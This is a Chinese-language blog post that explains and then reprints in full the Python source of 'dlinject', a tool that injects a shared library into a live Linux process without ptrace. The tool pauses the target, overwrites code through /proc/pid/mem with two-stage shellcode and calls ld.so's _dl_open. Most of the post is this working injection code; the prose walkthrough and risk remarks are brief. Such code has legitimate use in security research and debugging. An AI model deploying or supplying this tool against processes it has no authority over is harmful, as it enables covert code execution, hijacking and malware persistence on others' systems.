dlinject分析,一种不使用ptrace的linux代码注入

原理是通过直接操作Linux进程的内存,将一个动态链接库(.so 文件)注入到正在运行的进程中。这种注入过程通常涉及高级的系统编程技巧,涉及到操作系统的低层机制。以下是对该脚本的详细分析:

1. ELF文件解析

ELF(Executable and Linkable Format)是Linux系统中可执行文件和共享库的标准格式。脚本利用pyelftools库读取ELF文件,并查找动态链接器(ld.so)中的 _dl_open 函数地址,以便稍后使用。

  • lookup_elf_symbol(elf_name, sym_name):
    通过该函数,脚本可以找到特定符号(如 _dl_open)在内存中的偏移地址。这个地址之后会用于调用 _dl_open 函数,将动态链接库加载到目标进程中。

2. Process Memory Injection

脚本的主要功能是将自己生成的机器代码(shellcode)注入到目标进程中,并执行它。这通常涉及对目标进程内存的读写操作。

  • dlinject(pid, lib_path, stopmethod="sigstop"):
    这是脚本的核心函数,负责对目标进程进行注入。具体步骤如下:

    1. 定位目标进程的ld.so加载器:
      通过查看 /proc/{pid}/maps 文件,脚本找到目标进程的动态链接器ld.so的基址和路径。ld.so负责加载共享库,并包含_dl_open函数。

    2. 计算_dl_open的绝对地址:
      使用 lookup_elf_symbol 函数确定 _dl_openld.so 中的偏移地址,并计算其在目标进程中的绝对地址。

    3. 暂停目标进程:
      为了避免在注入过程中出现竞争条件,脚本提供了两种暂停目标进程的方法:

      • SIGSTOP: 使用os.kill发送SIGSTOP信号来暂停目标进程。
      • cgroup_freeze: 利用cgroupfreezer子系统将进程冻结,这需要管理员权限。
    4. 生成并写入第一阶段的Shellcode:
      第一阶段的shellcode由汇编指令组成,由assemble()函数通过调用gcc将汇编代码编译成二进制数据。注入过程如下:

      • 将shellcode写入目标进程的内存,并覆盖原来的代码。
      • 保存被覆盖的内存区域,以便稍后恢复。
    5. 恢复进程:
      在注入阶段结束后,目标进程会继续执行注入的shellcode,这段shellcode的功能包括加载第二阶段的shellcode并跳转到它的入口执行。

3. Shellcode注入

Shellcode是一段能够执行特定任务的机器码,通常用于内存注入操作。本脚本中存在两个阶段的shellcode:

  • 第一阶段shellcode:

    • 将当前寄存器状态保存在栈中。
    • 打开并读取存储第二阶段shellcode的文件,并将其加载到内存中。
    • 跳转到第二阶段shellcode的入口地址,继续执行。
  • 第二阶段shellcode:

    • 恢复原始指令指针和栈内容,确保目标进程能够继续正常运行。
    • 调用 _dl_open 函数,将指定的动态链接库加载到进程空间中。

4. 与目标进程的交互

注入过程中,脚本需要频繁与目标进程交互,具体包括:

  • 读写 /proc/{pid}/mem:
    该文件提供对目标进程内存的直接读写访问,脚本使用它来向目标进程写入shellcode和读取原始数据。

  • 读取 /proc/{pid}/syscall:
    该文件提供了目标进程当前执行的系统调用信息,脚本利用它获取目标进程的当前指令指针 (RIP) 和栈指针 (RSP)。

5. _dl_open的利用

_dl_openld.so 提供的一个内部函数,用于将共享库加载到进程空间中。通过调用该函数,脚本可以将指定的.so文件注入到目标进程中,实现代码注入。

6. 恢复目标进程

注入操作完成后,脚本会:

  • 恢复被覆盖的代码和寄存器状态。
  • 恢复目标进程的执行,确保它能正常运行。

关键技术要点

  • 系统调用:脚本在shellcode中使用大量的Linux系统调用,如open, mmap, close, write等,这些调用直接与操作系统交互,执行对文件、内存的操作。
  • ELF文件解析:通过解析ELF文件,脚本能找到动态链接器中关键函数的位置。
  • 进程暂停与恢复:为了避免竞争条件,脚本必须能够准确地暂停和恢复目标进程的执行。

潜在风险与使用注意

  • 需要管理员权限:脚本需要对目标进程的内存进行读写,通常需要管理员权限(root)。
  • 安全与稳定性问题:该脚本涉及对进程内存的直接操作,可能会导致目标进程崩溃或引发系统不稳定,使用时需谨慎。

总结

总体而言,该脚本通过暂停目标进程,注入自定义shellcode,然后利用目标进程的动态链接器 _dl_open 函数加载共享库,从而实现了对目标进程的代码注入。它充分利用了Linux系统的底层机制,如ELF文件解析、进程内存操作、系统调用等,是一个典型的注入工具。

import argparse
import os
import re
import signal
import time
import subprocess

from elftools.elf.elffile import ELFFile

STACK_BACKUP_SIZE = 8 * 16
STAGE2_SIZE = 0x8000


def lookup_elf_symbol(elf_name, sym_name):
	with open(elf_name, "rb") as elf_file:
		elf = ELFFile(elf_file)
		symtab = elf.get_section_by_name(".symtab")
		if not symtab:
			return None
		syms = symtab.get_symbol_by_name(sym_name)
		if not syms:
			return None
		return syms[0].entry.st_value


def ansi_color(name):
	color_codes = {
		"blue": 34,
		"red": 91,
		"green": 32,
		"default": 39,
	}
	return f"\x1b[{color_codes[name]}m"


def log(msg, color="blue", symbol="*"):
	print(f"[{ansi_color(color)}{symbol}{ansi_color('default')}] {msg}")


def log_success(msg):
	log(msg, "green", "+")


def log_error(msg):
	log(msg, "red", "!")
	raise Exception(msg)


def assemble(source):
	cmd = "gcc -x assembler - -o /dev/stdout -nostdlib -Wl,--oformat=binary -m64"
	argv = cmd.split(" ")
	prefix = b".intel_syntax noprefix\n.globl _start\n_start:\n"

	program = prefix + source.encode()
	pipe = subprocess.PIPE

	result = subprocess.run(argv, stdout=pipe, stderr=pipe, input=program)

	if result.returncode != 0:
		emsg = result.stderr.decode().strip()
		log_error("Assembler command failed:\n\t" + emsg.replace("\n", "\n\t"))

	return result.stdout


def dlinject(pid, lib_path, stopmethod="sigstop"):
	with open(f"/proc/{pid}/maps") as maps_file:
		for line in maps_file.readlines():
			ld_path = line.split()[-1]
			if re.match(r".*/ld-.*\.so", ld_path):
				ld_base = int(line.split("-")[0], 16)
				break
		else:
			log_error("Couldn't find ld.so! (we need it for _dl_open)")

	log("ld.so found: " + repr(ld_path))
	log("ld.so base: " + hex(ld_base))
	dl_open_offset = lookup_elf_symbol(ld_path, "_dl_open")

	if not dl_open_offset:
		log_error("Unable to locate _dl_open symbol")

	dl_open_addr = ld_base + dl_open_offset
	log("_dl_open: " + hex(dl_open_addr))

	if stopmethod == "sigstop":
		log("Sending SIGSTOP")
		os.kill(pid, signal.SIGSTOP)
		while True:
			with open(f"/proc/{pid}/stat") as stat_file:
				state = stat_file.read().split(" ")[2]
			if state in ["T", "t"]:
				break
			log("Waiting for process to stop...")
			time.sleep(0.1)
	elif stopmethod == "cgroup_freeze":
		freeze_dir = "/sys/fs/cgroup/freezer/dlinject_" + os.urandom(8).hex()
		os.mkdir(freeze_dir)
		with open(freeze_dir + "/tasks", "w") as task_file:
			task_file.write(str(pid))
		with open(freeze_dir + "/freezer.state", "w") as state_file:
			state_file.write("FROZEN\n")
		while True:
			with open(freeze_dir + "/freezer.state") as state_file:
				if state_file.read().strip() == "FROZEN":
					break
			log("Waiting for process to freeze...")
			time.sleep(0.1)
	else:
		log.warn("We're not going to stop the process first!")

	with open(f"/proc/{pid}/syscall") as syscall_file:
		syscall_vals = syscall_file.read().split(" ")
	rip = int(syscall_vals[-1][2:], 16)
	rsp = int(syscall_vals[-2][2:], 16)

	log(f"RIP: {hex(rip)}")
	log(f"RSP: {hex(rsp)}")

	stage2_path = f"/tmp/stage2_{os.urandom(8).hex()}.bin"

	shellcode = assemble(fr"""
		// push all the things
		pushf
		push rax
		push rbx
		push rcx
		push rdx
		push rbp
		push rsi
		push rdi
		push r8
		push r9
		push r10
		push r11
		push r12
		push r13
		push r14
		push r15

		// Open stage2 file
		mov rax, 2          # SYS_OPEN
		lea rdi, path[rip]  # path
		xor rsi, rsi        # flags (O_RDONLY)
		xor rdx, rdx        # mode
		syscall
		mov r14, rax        # save the fd for later

		// mmap it
		mov rax, 9              # SYS_MMAP
		xor rdi, rdi            # addr
		mov rsi, {STAGE2_SIZE}  # len
		mov rdx, 0x7            # prot (rwx)
		mov r10, 0x2            # flags (MAP_PRIVATE)
		mov r8, r14             # fd
		xor r9, r9              # off
		syscall
		mov r15, rax            # save mmap addr

		// close the file
		mov rax, 3    # SYS_CLOSE
		mov rdi, r14  # fd
		syscall

		// delete the file (not exactly necessary)
		mov rax, 87         # SYS_UNLINK
		lea rdi, path[rip]  # path
		syscall

		// jump to stage2
		jmp r15

	path:
		.ascii "{stage2_path}\0"
	""")

	with open(f"/proc/{pid}/mem", "wb+") as mem:
		# back up the code we're about to overwrite
		mem.seek(rip)
		code_backup = mem.read(len(shellcode))

		# back up the part of the stack that the shellcode will clobber
		mem.seek(rsp - STACK_BACKUP_SIZE)
		stack_backup = mem.read(STACK_BACKUP_SIZE)

		# write the primary shellcode
		mem.seek(rip)
		mem.write(shellcode)

	log("Wrote first stage shellcode")

	stage2 = assemble(fr"""
		cld

		fxsave moar_regs[rip]

		// Open /proc/self/mem
		mov rax, 2                   # SYS_OPEN
		lea rdi, proc_self_mem[rip]  # path
		mov rsi, 2                   # flags (O_RDWR)
		xor rdx, rdx                 # mode
		syscall
		mov r15, rax  # save the fd for later

		// seek to code
		mov rax, 8      # SYS_LSEEK
		mov rdi, r15    # fd
		mov rsi, {rip}  # offset
		xor rdx, rdx    # whence (SEEK_SET)
		syscall

		// restore code
		mov rax, 1                   # SYS_WRITE
		mov rdi, r15                 # fd
		lea rsi, old_code[rip]       # buf
		mov rdx, {len(code_backup)}  # count
		syscall

		// close /proc/self/mem
		mov rax, 3    # SYS_CLOSE
		mov rdi, r15  # fd
		syscall

		// move pushed regs to our new stack
		lea rdi, new_stack_base[rip-{STACK_BACKUP_SIZE}]
		mov rsi, {rsp-STACK_BACKUP_SIZE}
		mov rcx, {STACK_BACKUP_SIZE}
		rep movsb

		// restore original stack
		mov rdi, {rsp-STACK_BACKUP_SIZE}
		lea rsi, old_stack[rip]
		mov rcx, {STACK_BACKUP_SIZE}
		rep movsb

		lea rsp, new_stack_base[rip-{STACK_BACKUP_SIZE}]

		// call _dl_open (glibc/elf/dl-open.c)
		lea rdi, lib_path[rip]  # file
		mov rsi, 2              # mode (RTLD_NOW)
		mov rdx, {dl_open_addr} # caller_dlopen - needs to be "valid" on older libcs
		xor rcx, rcx            # nsid (LM_ID_BASE) (could maybe use LM_ID_NEWLM)
		mov rax, {dl_open_addr}
		call rax

		fxrstor moar_regs[rip]
		pop r15
		pop r14
		pop r13
		pop r12
		pop r11
		pop r10
		pop r9
		pop r8
		pop rdi
		pop rsi
		pop rbp
		pop rdx
		pop rcx
		pop rbx
		pop rax
		popf

		mov rsp, {rsp}
		jmp old_rip[rip]

	old_rip:
		.quad {rip}

	old_code:
		.byte {",".join(map(str, code_backup))}

	old_stack:
		.byte {",".join(map(str, stack_backup))}

		.align 16
	moar_regs:
		.space 512

	lib_path:
		.ascii "{lib_path}\0"

	proc_self_mem:
		.ascii "/proc/self/mem\0"

	new_stack:
		.balign 0x8000

	new_stack_base:
	""")

	with open(stage2_path, "wb") as stage2_file:
		os.chmod(stage2_path, 0o666)
		stage2_file.write(stage2)

	log(f"Wrote stage2 to {repr(stage2_path)}")

	if stopmethod == "sigstop":
		log("Continuing process...")
		os.kill(pid, signal.SIGCONT)
	elif stopmethod == "cgroup_freeze":
		log("Thawing process...")
		with open(freeze_dir + "/freezer.state", "w") as state_file:
			state_file.write("THAWED\n")

		# put the task back in the root cgroup
		with open("/sys/fs/cgroup/freezer/tasks", "w") as task_file:
			task_file.write(str(pid))

		# cleanup
		os.rmdir(freeze_dir)

	log_success("Done!")


if __name__ == "__main__":
	print(BANNER)

	parser = argparse.ArgumentParser(
		description="Inject a shared library into a live process.")

	parser.add_argument("pid", metavar="pid", type=int,
		help="The pid of the target process")

	parser.add_argument("lib_path", metavar="/path/to/lib.so", type=str,
		help="Path to the shared library we want to load")

	parser.add_argument("--stopmethod",
		choices=["sigstop", "cgroup_freeze", "none"],
		help="How to stop the target process prior to shellcode injection. \
		      SIGSTOP (default) can have side-effects. cgroup freeze requires root.\
		      'none' is likely to cause race conditions.")

	args = parser.parse_args()

	abs_path = os.path.abspath(args.lib_path)

	dlinject(args.pid, abs_path, args.stopmethod or "sigstop")
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值